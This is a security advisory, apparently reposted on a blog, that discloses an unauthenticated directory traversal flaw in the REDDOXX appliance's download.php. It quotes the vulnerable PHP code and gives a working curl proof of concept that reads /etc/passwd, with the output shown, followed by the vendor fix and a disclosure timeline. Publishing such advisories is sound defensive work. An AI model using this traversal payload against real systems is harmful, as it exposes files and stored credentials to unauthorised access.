2017 m. liepos 25 d., antradienis

[RT-SA-2017-004] Unauthenticated Arbitrary File Disclosure in REDDOXX Appliance

Advisory: Unauthenticated Arbitrary File Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an arbitrary file disclosure
vulnerability in the REDDOXX appliance software, which allows
unauthenticated attackers to download arbitrary files from the affected
system.


Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Arbitrary File Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-004
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

The REDDOXX appliance [0] contains a PHP script called download.php. It
is available at http://www.example.com/download.php in normal
installations and resides at /opt/reddoxx/local/htdocs/download.php in
the local filesystem of the appliance. Through the ISO provided on
the vendor's homepage [1], it was possible to analyze this file and any
other file in a typical REDDOXX appliance installation.

The file contains the following source code (shortened to relevant
sections):

------------------------------------------------------------------------
<?php
 [...]

 // For MD 2.0
 $fileName = $_GET['file'];

 [...]

 // For MD 2.0
 if ($fileName <> '') {
   $file = $fileName;
   $fileID = basename($fileName);
 }

 // Currently we only allow downloads from session directories
 if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) &&
     (strpos($file, '/opt/reddoxx/data/temp/Sessions/') === false)) {
     die('File is not in session directory: ' . $file);
 }

 if(!file_exists($file))
 {
     [...]
 }
 else
 {
     // Set headers
     header('Pragma: public');
     header('Expires: 0');
     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
     header('Cache-Control: private' ,false);

     header('Content-Description: File Transfer');
     header('Content-Disposition: attachment; filename="' . $fileID. '"');
     header('Content-Type: application/octet-stream');
     header('Content-Transfer-Encoding: binary');
     header('Content-Length: ' . filesize($file));

     // Read the file from disk
     readfile($file);
 }
?>
------------------------------------------------------------------------

The script expects a URL parameter called "file" and stores its value in
the variable $fileName. The value of this variable is then copied to the
variable $file, which undergoes two different checks: First, the
function strpos() is used to check whether a certain substring is
contained in the value of the variable. The second check used the function
file_exists() to determine whether the file specified in the variable is
present in the filesystem.

In order to circumvent the first check, a path such as

------------------------------------------------------------------------
/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd
------------------------------------------------------------------------

can be specified, as there are no protections against directory
traversal in place. This path also passes the second check imposed by
the function file_exists(). Having bypassed both checks, attackers are
now able to reach the readfile() function and download arbitrary files.

Since no authentication checks are in place, the disclosure of arbitrary
files if also possible for unauthenticated attackers.

The same functionality is vulnerable to a cross-site scripting
vulnerability as described in rt-sa-2017-003 [2].


Proof of Concept
================

The following curl command-line can be used to trigger the vulnerability:

------------------------------------------------------------------------
$ curl --silent 'http://www.example.com/download.php?file='\
'/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
statd:x:104:65534::/var/lib/nfs:/bin/false
admin:x:0:0:admin,,,:/home/admin:/opt/reddoxx/local/scripts/admin.sh
clamav:x:105:111::/var/lib/clamav:/bin/false
ntp:x:106:112::/home/ntp:/bin/false
hacluster:x:107:113:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false
firebird:x:108:114:Firebird Database Administator,,,:/var/lib/firebird:/bin/bash
redis:x:109:115:redis server,,,:/var/lib/redis:/bin/false
snmp:x:110:116::/var/lib/snmp:/bin/false
bind:x:111:117::/var/cache/bind:/bin/false
smbadmin:x:1001:1001::/home/smbadmin:/bin/false
smbuser:x:1002:1002::/home/smbuser:/bin/false
------------------------------------------------------------------------


Workaround
==========

None


Fix
===

Update the appliance software to Version 2032 SP2.


Security Risk
=============

This vulnerability can be used by attackers to download arbitrary files
if the filename and path is known from filesystems reachable on the
appliance. Depending on the configuration of the appliance, attackers
can read the credentials stored in the configuration files or extract
session IDs from log files. There are also no authentication checks in
place. Therefore, the vulnerability poses a high risk.


Timeline
========

2017-05-16 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
    (Requires login)
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-003


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting GmbH is looking for more penetration testers to join
our team. If you are interested in working for RedTeam Pentesting in
Aachen, please visit the respective section of our website.

Komentarų nėra:

Rašyti komentarą